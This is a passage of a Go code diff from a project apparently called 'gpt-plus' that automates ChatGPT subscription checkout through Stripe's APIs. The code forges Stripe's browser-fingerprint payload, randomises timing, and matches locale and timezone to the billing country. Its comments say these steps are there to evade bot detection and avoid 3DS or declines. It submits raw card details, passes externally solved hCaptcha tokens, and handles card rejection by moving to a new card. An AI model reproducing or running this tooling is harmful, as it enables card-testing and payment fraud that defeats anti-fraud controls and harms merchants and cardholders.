userAgent) + if err != nil { + log.Printf("[stripe] MUID/SID retry %d failed: %v", i+1, err) + continue + } + if fp.MUID == "" && retryFP.MUID != "" { + fp.MUID = retryFP.MUID + } + if fp.SID == "" && retryFP.SID != "" { + fp.SID = retryFP.SID + } + if fp.MUID != "" && fp.SID != "" { + log.Printf("[stripe] MUID/SID filled after retry %d", i+1) + break + } + } + return fp +} + +// GetFingerprintAuto tries the proxied client first; if it fails, falls back to direct connection. +func GetFingerprintAuto(ctx context.Context, client *httpclient.Client, userAgent, domain, tagVersion string) (*Fingerprint, error) { + fp, err := GetFingerprint(client, userAgent, domain, tagVersion) + if err == nil { + return fp, nil + } + log.Printf("[stripe] proxy fingerprint failed (%v), falling back to direct connection", err) + return GetFingerprintDirect(userAgent, domain, tagVersion) +} + +// doFingerprintRequest executes a single POST to m.stripe.com/6. +// Exactly one of directClient / proxiedClient must be non-nil. +func doFingerprintRequest(directClient *http.Client, proxiedClient *httpclient.Client, encodedPayload, userAgent string) (*Fingerprint, error) { + req, err := http.NewRequest("POST", "https://m.stripe.com/6", strings.NewReader(encodedPayload)) + if err != nil { + return nil, fmt.Errorf("create request: %w", err) + } + + // Set proper headers — missing these caused silent rejections + req.Header.Set("User-Agent", userAgent) + req.Header.Set("Content-Type", "text/plain;charset=UTF-8") + req.Header.Set("Origin", "https://js.stripe.com") + req.Header.Set("Referer", "https://js.stripe.com/") + req.Header.Set("Accept", "*/*") + req.Header.Set("Accept-Language", "en-US,en;q=0.9") + + var resp *http.Response + if directClient != nil { + resp, err = directClient.Do(req) + } else { + resp, err = proxiedClient.Do(req) + } + if err != nil { + return nil, err + } + defer resp.Body.Close() // safe: one request per call, no loop + + body, err := io.ReadAll(resp.Body) + if err != nil { + return nil, fmt.Errorf("read response: %w", err) + } + + if resp.StatusCode != http.StatusOK { + return nil, fmt.Errorf("fingerprint request failed: status %d, body: %s", resp.StatusCode, string(body)) + } + + var result map[string]interface{} + if err := json.Unmarshal(body, &result); err != nil { + return nil, fmt.Errorf("parse fingerprint response: %w", err) + } + + fp := &Fingerprint{} + if v, ok := result["guid"].(string); ok { + fp.GUID = v + } + if v, ok := result["muid"].(string); ok { + fp.MUID = v + } + if v, ok := result["sid"].(string); ok { + fp.SID = v + } + + // GUID is critical — if missing, Stripe WILL trigger 3DS or decline + if fp.GUID == "" { + return nil, fmt.Errorf("m.stripe.com returned empty GUID (response: %s)", string(body)) + } + + // MUID/SID can sometimes be empty on first call, but GUID is the key signal + if fp.MUID == "" { + log.Printf("[stripe] WARNING: MUID empty in fingerprint response, proceeding with GUID only") + } + if fp.SID == "" { + log.Printf("[stripe] WARNING: SID empty in fingerprint response, proceeding with GUID only") + } + + return fp, nil +} + +// isRetryableError checks if the error is a transient network issue worth retrying. +func isRetryableError(err error) bool { + if err == nil { + return false + } + msg := err.Error() + return strings.Contains(msg, "connection refused") || + strings.Contains(msg, "connection reset") || + strings.Contains(msg, "i/o timeout") || + strings.Contains(msg, "no such host") || + strings.Contains(msg, "network is unreachable") +} diff --git a/pkg/stripe/payload.go b/pkg/stripe/payload.go new file mode 100644 index 0000000..501998a --- /dev/null +++ b/pkg/stripe/payload.go @@ -0,0 +1,189 @@ +package stripe + +import ( + "crypto/md5" + "crypto/rand" + "encoding/base64" + "encoding/json" + "fmt" + "math/big" + mrand "math/rand" + "strings" +) + +// randomHex generates n bytes of cryptographically random hex. +func randomHex(nBytes int) string { + b := make([]byte, nBytes) + _, _ = rand.Read(b) + return fmt.Sprintf("%x", b) +} + +// generateRandomBinaryString generates a string of random 0s and 1s. +func generateRandomBinaryString(length int) string { + var sb strings.Builder + sb.Grow(length) + for i := 0; i < length; i++ { + n, _ := rand.Int(rand.Reader, big.NewInt(2)) + sb.WriteByte('0' + byte(n.Int64())) + } + return sb.String() +} + +// transformFeatureValues converts extractedFeatures array to the keyed map format. +// [{v, t}, ...] -> {a: {v, t}, b: {v, t}, ...} +func transformFeatureValues(features [][]interface{}) map[string]interface{} { + result := make(map[string]interface{}) + for i, f := range features { + key := string(rune('a' + i)) + entry := map[string]interface{}{ + "v": f[0], + "t": f[1], + } + if len(f) > 2 { + entry["at"] = f[2] + } + result[key] = entry + } + return result +} + +// featuresSameLine joins all feature values with spaces (for MD5 id). +func featuresSameLine(features [][]interface{}) string { + parts := make([]string, len(features)) + for i, f := range features { + parts[i] = fmt.Sprintf("%v", f[0]) + } + return strings.Join(parts, " ") +} + +// domainToTabTitle returns a suitable tab title for the given domain. +func domainToTabTitle(domain string) string { + switch domain { + case "chatgpt.com": + return "ChatGPT" + case "discord.com": + return "Discord | Billing | User Settings" + default: + return domain + } +} + +// CreateInitPayload builds the m.stripe.com/6 fingerprint payload. +// domain should be "chatgpt.com" (the merchant site). +// If browserFP is provided, real fingerprint data overrides hardcoded defaults. +func CreateInitPayload(userAgent, domain, tagVersion string, browserFP ...*BrowserFingerprint) map[string]interface{} { + if tagVersion == "" { + tagVersion = "4.5.43" + } + + // Defaults (hardcoded) + language := "en-US" + platform := "Win32" + plugins := "Browser PDF plug-in,HqVxgvf2j4FKFpUSJjZUxg368mTJr8Hq,application/pdf,pdf, aNlxBIr0,ECozZzCJECozZrdO,,ZYz, OToct9e,Ar89HqVpzhQQvAn,,tiZ, JavaScript portable-document-format plug in,7CgQIMl5k5kxBAAIjRnb05FKNGqdWTw3,application/x-google-chrome-pdf,pdf" + screenSize := "1920w_1032h_24d_1r" + canvasHash := "b723b5fba9cb9289de8b7e1e6de668fd" + fontsBits := generateRandomBinaryString(55) + cookieSupport := "true" + doNotTrack := "false" + + // Override with real fingerprint if available + if len(browserFP) > 0 && browserFP[0] != nil { + fp := browserFP[0] + if fp.Language != "" { + language = fp.Language + } + if fp.Platform != "" { + platform = fp.Platform + } + if fp.Plugins != "" { + plugins = fp.Plugins + } + if fp.ScreenSize != "" { + screenSize = fp.ScreenSize + } + if fp.CanvasHash != "" { + canvasHash = fp.CanvasHash + } + if fp.FontsBits != "" { + fontsBits = fp.FontsBits + } + if fp.CookieSupport { + cookieSupport = "true" + } + if fp.DoNotTrack { + doNotTrack = "true" + } + if fp.UserAgent != "" { + userAgent = fp.UserAgent + } + } + + extractedFeatures := [][]interface{}{ + {cookieSupport, 0}, + {doNotTrack, 0}, + {language, 0}, + {platform, 0}, + {plugins, 19}, + {screenSize, 0}, + {"1", 0}, + {"false", 0}, + {"sessionStorage-enabled, localStorage-enabled", 3}, + {fontsBits, 85}, + {"", 0}, + {userAgent, 0}, + {"", 0}, + {"false", 85, 1}, + {canvasHash, 83}, + } + + randomVal := randomHex(10) // 20 hex chars from 10 bytes + + urlToHash := fmt.Sprintf("https://%s/", domain) + hashedURL := HashURL(urlToHash) + + joined := featuresSameLine(extractedFeatures) + featureID := fmt.Sprintf("%x", md5.Sum([]byte(joined))) + + tabTitle := domainToTabTitle(domain) + + // Random timing values matching JS: Math.floor(Math.random() * (350 - 200 + 1) + 200) + t := mrand.Intn(151) + 200 // 200-350 + n := mrand.Intn(251) + 100 // 100-350 + + return map[string]interface{}{ + "v2": 1, + "id": featureID, + "t": t, + "tag": tagVersion, + "src": "js", + "a": transformFeatureValues(extractedFeatures), + "b": map[string]interface{}{ + "a": hashedURL, + "b": hashedURL, + "c": SHA256WithSalt(tabTitle), + "d": "NA", + "e": "NA", + "f": false, + "g": true, + "h": true, + "i": []string{"location"}, + "j": []interface{}{}, + "n": n, + "u": domain, + "v": domain, + "w": GetHashTimestampWithSalt(randomVal), + }, + "h": randomVal, + } +} + +// EncodePayload JSON-encodes, encodeURIComponent-encodes, then base64-encodes the payload. +// Matches JS: Buffer.from(encodeURIComponent(JSON.stringify(payload))).toString('base64') +func EncodePayload(payload map[string]interface{}) (string, error) { + jsonBytes, err := json.Marshal(payload) + if err != nil { + return "", fmt.Errorf("marshal payload: %w", err) + } + encoded := EncodeURIComponent(string(jsonBytes)) + return base64.StdEncoding.EncodeToString([]byte(encoded)), nil +} diff --git a/pkg/stripe/payment.go b/pkg/stripe/payment.go new file mode 100644 index 0000000..c23dec4 --- /dev/null +++ b/pkg/stripe/payment.go @@ -0,0 +1,919 @@ +package stripe + +import ( + "encoding/json" + "errors" + "fmt" + "io" + "log" + mrand "math/rand" + "net/http" + "net/url" + "strings" + + "gpt-plus/pkg/httpclient" +) + +// randomTimeOnPage returns a random time_on_page value between 15000-45000ms. +// A constant value (e.g. "30000") is a fingerprint signal for bot detection. +func randomTimeOnPage() string { + return fmt.Sprintf("%d", mrand.Intn(30001)+15000) +} + +// localeForCountry returns a browser locale based on billing country code. +func localeForCountry(country string) string { + switch country { + case "GB": + return "en-GB" + case "DE", "AT", "CH": + return "de-DE" + case "FR": + return "fr-FR" + case "JP": + return "ja-JP" + case "CN": + return "zh-CN" + default: + return "en-US" + } +} + +// timezoneForCountry returns a browser timezone based on billing country code. +func timezoneForCountry(country string) string { + switch country { + case "GB": + return "Europe/London" + case "DE", "AT", "CH": + return "Europe/Berlin" + case "FR": + return "Europe/Paris" + case "JP": + return "Asia/Tokyo" + case "CN": + return "Asia/Shanghai" + default: + return "America/Chicago" + } +} + +// ErrCardDeclined indicates the card was declined by Stripe. +var ErrCardDeclined = errors.New("card declined") + +const ( + // DefaultLanguage is the browser locale for US cards. + DefaultLanguage = "en-US" + // DefaultAcceptLanguage is the Accept-Language header for US cards. + DefaultAcceptLanguage = "en-US,en;q=0.9" + + chromeSecChUa = `"Google Chrome";v="145", "Chromium";v="145", "Not-A.Brand";v="99"` + stripeOrigin = "https://js.stripe.com" +) + +// CheckoutResult holds the response from creating a checkout session. +type CheckoutResult struct { + CheckoutSessionID string + PublishableKey string + ClientSecret string + ExpectedAmount int + ProcessorEntity string +} + +// CreateCheckoutSession creates a Stripe checkout session via ChatGPT API. +func CreateCheckoutSession(client *httpclient.Client, accessToken, deviceID, sentinelToken string, body map[string]interface{}) (*CheckoutResult, error) { + jsonBody, err := json.Marshal(body) + if err != nil { + return nil, fmt.Errorf("marshal checkout body: %w", err) + } + + req, err := http.NewRequest("POST", "https://chatgpt.com/backend-api/payments/checkout", strings.NewReader(string(jsonBody))) + if err != nil { + return nil, fmt.Errorf("create checkout request: %w", err) + } + + req.Header.Set("Authorization", "Bearer "+accessToken) + req.Header.Set("Content-Type", "application/json") + req.Header.Set("Origin", "https://chatgpt.com") + req.Header.Set("Referer", "https://chatgpt.com/") + req.Header.Set("Oai-Device-Id", deviceID) + req.Header.Set("Openai-Sentinel-Token", sentinelToken) + + resp, err := client.Do(req) + if err != nil { + return nil, fmt.Errorf("send checkout request: %w", err) + } + defer resp.Body.Close() + + respBody, err := io.ReadAll(resp.Body) + if err != nil { + return nil, fmt.Errorf("read checkout response: %w", err) + } + + log.Printf("[stripe] checkout response (status=%d): %s", resp.StatusCode, string(respBody)) + + if resp.StatusCode != http.StatusOK { + return nil, fmt.Errorf("checkout failed: status %d, body: %s", resp.StatusCode, string(respBody)) + } + + var result map[string]interface{} + if err := json.Unmarshal(respBody, &result); err != nil { + return nil, fmt.Errorf("parse checkout response: %w", err) + } + + cr := &CheckoutResult{ + ProcessorEntity: "openai_llc", + } + + if v, ok := result["checkout_session_id"].(string); ok { + cr.CheckoutSessionID = v + } else if v, ok := result["session_id"].(string); ok { + cr.CheckoutSessionID = v + } + + if v, ok := result["publishable_key"].(string); ok { + cr.PublishableKey = v + } else if v, ok := result["stripe_publishable_key"].(string); ok { + cr.PublishableKey = v + } + + if v, ok := result["client_secret"].(string); ok { + cr.ClientSecret = v + } + + if v, ok := result["amount_total"].(float64); ok { + cr.ExpectedAmount = int(v) + } else if v, ok := result["amount"].(float64); ok { + cr.ExpectedAmount = int(v) + } + + if v, ok := result["processor_entity"].(string); ok { + cr.ProcessorEntity = v + } + + return cr, nil +} + +// InitResult holds the response from init checkout session. +type InitResult struct { + InitChecksum string +} + +// stripeVersionWithBetas returns the _stripe_version value with checkout betas appended. +func stripeVersionWithBetas(base string) string { + return base + "; checkout_server_update_beta=v1; checkout_manual_approval_preview=v1" +} + +// InitCheckoutSession calls POST /v1/payment_pages/{cs_id}/init to get init_checksum. +func InitCheckoutSession(client *httpclient.Client, csID, publishableKey, stripeVersion, stripeJsID, userAgent, billingCountry string) (*InitResult, error) { + initURL := fmt.Sprintf("https://api.stripe.com/v1/payment_pages/%s/init", csID) + + form := url.Values{} + form.Set("browser_locale", localeForCountry(billingCountry)) + form.Set("browser_timezone", timezoneForCountry(billingCountry)) + form.Set("elements_session_client[client_betas][0]", "custom_checkout_server_updates_1") + form.Set("elements_session_client[client_betas][1]", "custom_checkout_manual_approval_1") + form.Set("elements_session_client[elements_init_source]", "custom_checkout") + form.Set("elements_session_client[referrer_host]", "chatgpt.com") + form.Set("elements_session_client[stripe_js_id]", stripeJsID) + form.Set("elements_session_client[locale]", localeForCountry(billingCountry)) + form.Set("elements_session_client[is_aggregation_expected]", "false") + form.Set("key", publishableKey) + form.Set("_stripe_version", stripeVersionWithBetas(stripeVersion)) + + req, err := http.NewRequest("POST", initURL, strings.NewReader(form.Encode())) + if err != nil { + return nil, fmt.Errorf("create init request: %w", err) + } + + setStripeHeaders(req, userAgent) + + resp, err := client.Do(req) + if err != nil { + return nil, fmt.Errorf("send init request: %w", err) + } + defer resp.Body.Close() + + respBody, err := io.ReadAll(resp.Body) + if err != nil { + return nil, fmt.Errorf("read init response: %w", err) + } + + if resp.StatusCode != http.StatusOK { + return nil, fmt.Errorf("init failed: status %d, body: %s", resp.StatusCode, string(respBody)) + } + + var result map[string]interface{} + if err := json.Unmarshal(respBody, &result); err != nil { + return nil, fmt.Errorf("parse init response: %w", err) + } + + ir := &InitResult{} + if v, ok := result["init_checksum"].(string); ok { + ir.InitChecksum = v + } + + // Log amount fields from init for debugging + log.Printf("[stripe] init response: amount_total=%v, amount=%v", + result["amount_total"], result["amount"]) + + return ir, nil +} + +// UpdateCheckoutParams holds parameters for the intermediate checkout update. +type UpdateCheckoutParams struct { + CheckoutSessionID string + PublishableKey string + StripeVersion string // API version e.g. "2025-03-31.basil" + StripeJsID string + BillingCountry string + BillingAddress string + BillingCity string + BillingState string + BillingZip string + UserAgent string +} + +// UpdateResult holds the response from updating a checkout session. +type UpdateResult struct { + UpdatedAmount int // amount_total after tax recalculation +} + +// UpdateCheckoutSession sends an intermediate POST to /v1/payment_pages/{cs_id} +// to update tax_region info. This must be called before confirm to accept terms. +func UpdateCheckoutSession(client *httpclient.Client, params *UpdateCheckoutParams) (*UpdateResult, error) { + updateURL := fmt.Sprintf("https://api.stripe.com/v1/payment_pages/%s", params.CheckoutSessionID) + + form := url.Values{} + form.Set("tax_region[country]", params.BillingCountry) + if params.BillingAddress != "" { + form.Set("tax_region[line1]", params.BillingAddress) + } + if params.BillingCity != "" { + form.Set("tax_region[city]", params.BillingCity) + } + if params.BillingState != "" { + form.Set("tax_region[state]", params.BillingState) + } + if params.BillingZip != "" { + form.Set("tax_region[postal_code]", params.BillingZip) + } + form.Set("elements_session_client[client_betas][0]", "custom_checkout_server_updates_1") + form.Set("elements_session_client[client_betas][1]", "custom_checkout_manual_approval_1") + form.Set("elements_session_client[elements_init_source]", "custom_checkout") + form.Set("elements_session_client[referrer_host]", "chatgpt.com") + form.Set("elements_session_client[stripe_js_id]", params.StripeJsID) + form.Set("elements_session_client[locale]", localeForCountry(params.BillingCountry)) + form.Set("elements_session_client[is_aggregation_expected]", "false") + form.Set("client_attribution_metadata[merchant_integration_additional_elements][0]", "payment") + form.Set("client_attribution_metadata[merchant_integration_additional_elements][1]", "address") + form.Set("key", params.PublishableKey) + form.Set("_stripe_version", stripeVersionWithBetas(params.StripeVersion)) + + req, err := http.NewRequest("POST", updateURL, strings.NewReader(form.Encode())) + if err != nil { + return nil, fmt.Errorf("create update request: %w", err) + } + + setStripeHeaders(req, params.UserAgent) + + resp, err := client.Do(req) + if err != nil { + return nil, fmt.Errorf("send update request: %w", err) + } + defer resp.Body.Close() + + respBody, err := io.ReadAll(resp.Body) + if err != nil { + return nil, fmt.Errorf("read update response: %w", err) + } + + if resp.StatusCode != http.StatusOK { + return nil, fmt.Errorf("update checkout failed: status %d, body: %s", resp.StatusCode, string(respBody)) + } + + var result map[string]interface{} + if err := json.Unmarshal(respBody, &result); err != nil { + return nil, fmt.Errorf("parse update response: %w", err) + } + + ur := &UpdateResult{} + + // Try top-level amount fields first + if v, ok := result["amount_total"].(float64); ok { + ur.UpdatedAmount = int(v) + } else if v, ok := result["amount"].(float64); ok { + ur.UpdatedAmount = int(v) + } + + // Try total_summary.due (Stripe checkout session structure: {"due":2000,"subtotal":2000,"total":2000}) + if ur.UpdatedAmount == 0 { + if ts, ok := result["total_summary"].(map[string]interface{}); ok { + if v, ok := ts["due"].(float64); ok { + ur.UpdatedAmount = int(v) + } else if v, ok := ts["total"].(float64); ok { + ur.UpdatedAmount = int(v) + } + } + } + + log.Printf("[stripe] update resolved amount=%d", ur.UpdatedAmount) + + return ur, nil +} + +// PaymentMethodParams holds parameters for creating a payment method. +type PaymentMethodParams struct { + CardNumber string + CardCVC string + CardExpMonth string + CardExpYear string + BillingName string + BillingEmail string + BillingCountry string + BillingAddress string + BillingCity string + BillingState string + BillingZip string + GUID string + MUID string + SID string + PublishableKey string + BuildHash string // e.g. "ede17ac9fd" — used in payment_user_agent + StripeVersion string // e.g. "2025-03-31.basil" — used in _stripe_version + UserAgent string +} + +// PaymentMethodResult holds the response from creating a payment method. +type PaymentMethodResult struct { + PaymentMethodID string +} + +// CreatePaymentMethod calls POST /v1/payment_methods to create a pm_xxx. +func CreatePaymentMethod(client *httpclient.Client, params *PaymentMethodParams) (*PaymentMethodResult, error) { + form := url.Values{} + form.Set("type", "card") + form.Set("card[number]", params.CardNumber) + form.Set("card[cvc]", params.CardCVC) + form.Set("card[exp_month]", params.CardExpMonth) + form.Set("card[exp_year]", params.CardExpYear) + form.Set("billing_details[name]", params.BillingName) + form.Set("billing_details[email]", params.BillingEmail) + form.Set("billing_details[address][country]", params.BillingCountry) + if params.BillingAddress != "" { + form.Set("billing_details[address][line1]", params.BillingAddress) + } + if params.BillingCity != "" { + form.Set("billing_details[address][city]", params.BillingCity) + } + if params.BillingState != "" { + form.Set("billing_details[address][state]", params.BillingState) + } + if params.BillingZip != "" { + form.Set("billing_details[address][postal_code]", params.BillingZip) + } + form.Set("allow_redisplay", "unspecified") + form.Set("pasted_fields", "number,exp,cvc") + form.Set("payment_user_agent", fmt.Sprintf("stripe.js/%s; stripe-js-v3/%s; payment-element; deferred-intent", + params.BuildHash, params.BuildHash)) + form.Set("referrer", "https://chatgpt.com") + form.Set("time_on_page", randomTimeOnPage()) + form.Set("guid", params.GUID) + form.Set("muid", params.MUID) + form.Set("sid", params.SID) + form.Set("key", params.PublishableKey) + if params.StripeVersion != "" { + form.Set("_stripe_version", stripeVersionWithBetas(params.StripeVersion)) + } + + req, err := http.NewRequest("POST", "https://api.stripe.com/v1/payment_methods", strings.NewReader(form.Encode())) + if err != nil { + return nil, fmt.Errorf("create payment method request: %w", err) + } + + setStripeHeaders(req, params.UserAgent) + req.AddCookie(&http.Cookie{Name: "__stripe_mid", Value: params.MUID}) + req.AddCookie(&http.Cookie{Name: "__stripe_sid", Value: params.SID}) + + resp, err := client.Do(req) + if err != nil { + return nil, fmt.Errorf("send payment method request: %w", err) + } + defer resp.Body.Close() + + respBody, err := io.ReadAll(resp.Body) + if err != nil { + return nil, fmt.Errorf("read payment method response: %w", err) + } + + if resp.StatusCode != http.StatusOK { + return nil, fmt.Errorf("create payment method failed: status %d, body: %s", resp.StatusCode, string(respBody)) + } + + var result map[string]interface{} + if err := json.Unmarshal(respBody, &result); err != nil { + return nil, fmt.Errorf("parse payment method response: %w", err) + } + + pmr := &PaymentMethodResult{} + if v, ok := result["id"].(string); ok { + pmr.PaymentMethodID = v + } + if pmr.PaymentMethodID == "" { + return nil, fmt.Errorf("no payment method ID in response: %s", string(respBody)) + } + + return pmr, nil +} + +// ConfirmParams holds all parameters needed to confirm a Stripe payment. +type ConfirmParams struct { + CheckoutSessionID string + PaymentMethodID string + InitChecksum string + StripeJsID string + GUID string + MUID string + SID string + ExpectedAmount int + PublishableKey string + StripeVersion string // build hash, e.g. "ede17ac9fd" + StripeAPIVersion string // API version, e.g. "2025-03-31.basil" + UserAgent string +} + +// DirectConfirmParams holds parameters for confirm with inline card data (no tokenization). +type DirectConfirmParams struct { + CheckoutSessionID string + // Card details (inline) + CardNumber string + CardCVC string + CardExpMonth string + CardExpYear string + // Billing + BillingName string + BillingEmail string + BillingCountry string + BillingAddress string + BillingCity string + BillingState string + BillingZip string + // Fingerprint + GUID string + MUID string + SID string + // Stripe + ExpectedAmount int + InitChecksum string // from InitCheckoutSession + PublishableKey string + BuildHash string // e.g. "ede17ac9fd" + StripeVersion string // API version, e.g. "2025-03-31.basil" + StripeJsID string // per-session UUID, like stripe.js generates + UserAgent string + PassiveCaptchaToken string // passive hCaptcha token from telemetry + PPageID string // payment page ID for telemetry +} + +// ConfirmResult holds the parsed confirm response. +type ConfirmResult struct { + // RequiresAction is true when setup_intent needs challenge verification. + RequiresAction bool + // Challenge fields (only set when RequiresAction is true) + SetupIntentID string // seti_xxx + ClientSecret string // seti_xxx_secret_xxx + SiteKey string // hCaptcha site_key from stripe_js + RqData string // hCaptcha rqdata from stripe_js + VerificationURL string // /v1/setup_intents/{seti}/verify_challenge + // ReturnURL is the merchant-configured return URL from the confirm response. + // For Team plans, it contains account_id (workspace ID) as a query parameter. + ReturnURL string +} + +// ConfirmPayment confirms payment directly with Stripe using pm_xxx. +func ConfirmPayment(client *httpclient.Client, params *ConfirmParams) (*ConfirmResult, error) { + confirmURL := fmt.Sprintf("https://api.stripe.com/v1/payment_pages/%s/confirm", params.CheckoutSessionID) + + returnURL := fmt.Sprintf( + "https://checkout.stripe.com/c/pay/%s?returned_from_redirect=true", + params.CheckoutSessionID, + ) + + form := url.Values{} + form.Set("guid", params.GUID) + form.Set("muid", params.MUID) + form.Set("sid", params.SID) + form.Set("payment_method", params.PaymentMethodID) + if params.InitChecksum != "" { + form.Set("init_checksum", params.InitChecksum) + } + form.Set("version", params.StripeVersion) + form.Set("expected_amount", fmt.Sprintf("%d", params.ExpectedAmount)) + form.Set("expected_payment_method_type", "card") + form.Set("return_url", returnURL) + form.Set("elements_session_client[client_betas][0]", "custom_checkout_server_updates_1") + form.Set("elements_session_client[client_betas][1]", "custom_checkout_manual_approval_1") + form.Set("elements_session_client[elements_init_source]", "custom_checkout") + form.Set("elements_session_client[referrer_host]", "chatgpt.com") + form.Set("elements_session_client[stripe_js_id]", params.StripeJsID) + form.Set("elements_session_client[locale]", "en-US") + form.Set("elements_session_client[is_aggregation_expected]", "false") + form.Set("client_attribution_metadata[merchant_integration_source]", "checkout") + form.Set("client_attribution_metadata[merchant_integration_version]", "custom") + form.Set("client_attribution_metadata[merchant_integration_subtype]", "payment-element") + form.Set("client_attribution_metadata[merchant_integration_additional_elements][0]", "payment") + form.Set("client_attribution_metadata[merchant_integration_additional_elements][1]", "address") + form.Set("client_attribution_metadata[payment_intent_creation_flow]", "deferred") + form.Set("client_attribution_metadata[payment_method_selection_flow]", "automatic") + form.Set("consent[terms_of_service]", "accepted") + form.Set("key", params.PublishableKey) + form.Set("_stripe_version", stripeVersionWithBetas(params.StripeAPIVersion)) + + req, err := http.NewRequest("POST", confirmURL, strings.NewReader(form.Encode())) + if err != nil { + return nil, fmt.Errorf("create confirm request: %w", err) + } + + setStripeHeaders(req, params.UserAgent) + req.AddCookie(&http.Cookie{Name: "__stripe_mid", Value: params.MUID}) + req.AddCookie(&http.Cookie{Name: "__stripe_sid", Value: params.SID}) + + resp, err := client.Do(req) + if err != nil { + return nil, fmt.Errorf("send confirm request: %w", err) + } + defer resp.Body.Close() + + respBody, err := io.ReadAll(resp.Body) + if err != nil { + return nil, fmt.Errorf("read confirm response: %w", err) + } + + log.Printf("[stripe] confirm response (status=%d): %s", resp.StatusCode, string(respBody)) + + if resp.StatusCode != http.StatusOK { + return nil, fmt.Errorf("confirm failed: status %d, body: %s", resp.StatusCode, string(respBody)) + } + + return parseConfirmResponse(respBody) +} + +// parseConfirmResponse extracts challenge info from the confirm JSON response. +func parseConfirmResponse(body []byte) (*ConfirmResult, error) { + var raw map[string]interface{} + if err := json.Unmarshal(body, &raw); err != nil { + return nil, fmt.Errorf("parse confirm response: %w", err) + } + + cr := &ConfirmResult{} + + // Extract return_url — for Team plans this contains the workspace account_id + if v, ok := raw["return_url"].(string); ok { + cr.ReturnURL = v + log.Printf("[stripe] confirm return_url: %s", v) + } + + // Check setup_intent.status + si, ok := raw["setup_intent"].(map[string]interface{}) + if !ok { + // No setup_intent — payment may have succeeded directly + return cr, nil + } + + status, _ := si["status"].(string) + + // Check for setup errors that indicate card decline (200 response but failed state) + if lastErr, ok := si["last_setup_error"].(map[string]interface{}); ok { + errCode, _ := lastErr["code"].(string) + errMsg, _ := lastErr["message"].(string) + errType, _ := lastErr["type"].(string) + if errCode != "" || errType == "card_error" { + return nil, fmt.Errorf("setup_intent error: code=%s, type=%s, message=%s", errCode, errType, errMsg) + } + } + + // Check for requires_payment_method (card was rejected, need new card) + if status == "requires_payment_method" { + return nil, fmt.Errorf("setup_intent requires new payment method (card rejected)") + } + + if status != "requires_action" { + // succeeded or other non-challenge status + return cr, nil + } + + cr.RequiresAction = true + cr.SetupIntentID, _ = si["id"].(string) + cr.ClientSecret, _ = si["client_secret"].(string) + + // Extract challenge details from next_action.use_stripe_sdk.stripe_js + nextAction, _ := si["next_action"].(map[string]interface{}) + if nextAction == nil { + return cr, nil + } + + useSDK, _ := nextAction["use_stripe_sdk"].(map[string]interface{}) + if useSDK == nil { + return cr, nil + } + + // stripe_js contains site_key, rqdata, verification_url + stripeJS, _ := useSDK["stripe_js"].(map[string]interface{}) + if stripeJS != nil { + cr.SiteKey, _ = stripeJS["site_key"].(string) + cr.RqData, _ = stripeJS["rqdata"].(string) + cr.VerificationURL, _ = stripeJS["verification_url"].(string) + } + + // Fallback: top-level fields in use_stripe_sdk + if cr.SiteKey == "" { + cr.SiteKey, _ = useSDK["hcaptcha_site_key"].(string) + } + if cr.RqData == "" { + cr.RqData, _ = useSDK["hcaptcha_rqdata"].(string) + } + if cr.VerificationURL == "" { + cr.VerificationURL, _ = useSDK["verification_url"].(string) + } + + log.Printf("[stripe] confirm requires_action: seti=%s, site_key=%s, has_rqdata=%v", + cr.SetupIntentID, cr.SiteKey, cr.RqData != "") + + return cr, nil +} + +// VerifyChallengeParams holds parameters for the verify_challenge call. +type VerifyChallengeParams struct { + SetupIntentID string // seti_xxx + ClientSecret string // seti_xxx_secret_xxx + CaptchaToken string // P1_eyJ... from hCaptcha + CaptchaEKey string // E1_... from hCaptcha (respKey) + PublishableKey string + StripeVersion string // API version e.g. "2025-03-31.basil" + UserAgent string + MUID string + SID string +} + +// VerifyChallenge calls POST /v1/setup_intents/{seti}/verify_challenge to complete the hCaptcha challenge. +func VerifyChallenge(client *httpclient.Client, params *VerifyChallengeParams) error { + verifyURL := fmt.Sprintf("https://api.stripe.com/v1/setup_intents/%s/verify_challenge", params.SetupIntentID) + + form := url.Values{} + form.Set("challenge_response_token", params.CaptchaToken) + if params.CaptchaEKey != "" { + form.Set("challenge_response_ekey", params.CaptchaEKey) + } + form.Set("client_secret", params.ClientSecret) + form.Set("captcha_vendor_name", "hcaptcha") + form.Set("key", params.PublishableKey) + form.Set("_stripe_version", stripeVersionWithBetas(params.StripeVersion)) + + req, err := http.NewRequest("POST", verifyURL, strings.NewReader(form.Encode())) + if err != nil { + return fmt.Errorf("create verify challenge request: %w", err) + } + + setStripeHeaders(req, params.UserAgent) + req.AddCookie(&http.Cookie{Name: "__stripe_mid", Value: params.MUID}) + req.AddCookie(&http.Cookie{Name: "__stripe_sid", Value: params.SID}) + + resp, err := client.Do(req) + if err != nil { + return fmt.Errorf("send verify challenge: %w", err) + } + defer resp.Body.Close() + + respBody, err := io.ReadAll(resp.Body) + if err != nil { + return fmt.Errorf("read verify challenge response: %w", err) + } + + log.Printf("[stripe] verify_challenge response (status=%d): %s", resp.StatusCode, string(respBody)) + + if resp.StatusCode != http.StatusOK { + return fmt.Errorf("verify challenge failed: status %d, body: %s", resp.StatusCode, string(respBody)) + } + + // Check that setup_intent status is now succeeded + var result map[string]interface{} + if err := json.Unmarshal(respBody, &result); err != nil { + return fmt.Errorf("parse verify challenge response: %w", err) + } + + status, _ := result["status"].(string) + if status == "succeeded" { + log.Printf("[stripe] verify_challenge succeeded") + return nil + } + + // Check for error + lastErr, _ := result["last_setup_error"].(map[string]interface{}) + if lastErr != nil { + msg, _ := lastErr["message"].(string) + code, _ := lastErr["code"].(string) + return fmt.Errorf("verify challenge error: code=%s, message=%s", code, msg) + } + + return fmt.Errorf("verify challenge unexpected status: %s", status) +} + +// PaymentPagePollParams holds the query parameters for GET /v1/payment_pages/{cs_id}/poll. +type PaymentPagePollParams struct { + CheckoutSessionID string + PublishableKey string + StripeVersion string // API version e.g. "2025-03-31.basil" + UserAgent string +} + +// PaymentPagePollResult captures the fields needed to determine whether Stripe has fully finalized checkout. +type PaymentPagePollResult struct { + State string + PaymentObjectStatus string + ReturnURL string +} + +// PollPaymentPage fetches the current payment page state after confirm/verify_challenge. +func PollPaymentPage(client *httpclient.Client, params *PaymentPagePollParams) (*PaymentPagePollResult, error) { + q := url.Values{} + q.Set("key", params.PublishableKey) + q.Set("_stripe_version", stripeVersionWithBetas(params.StripeVersion)) + + pollURL := fmt.Sprintf( + "https://api.stripe.com/v1/payment_pages/%s/poll?%s", + params.CheckoutSessionID, + q.Encode(), + ) + + req, err := http.NewRequest("GET", pollURL, nil) + if err != nil { + return nil, fmt.Errorf("create poll request: %w", err) + } + + 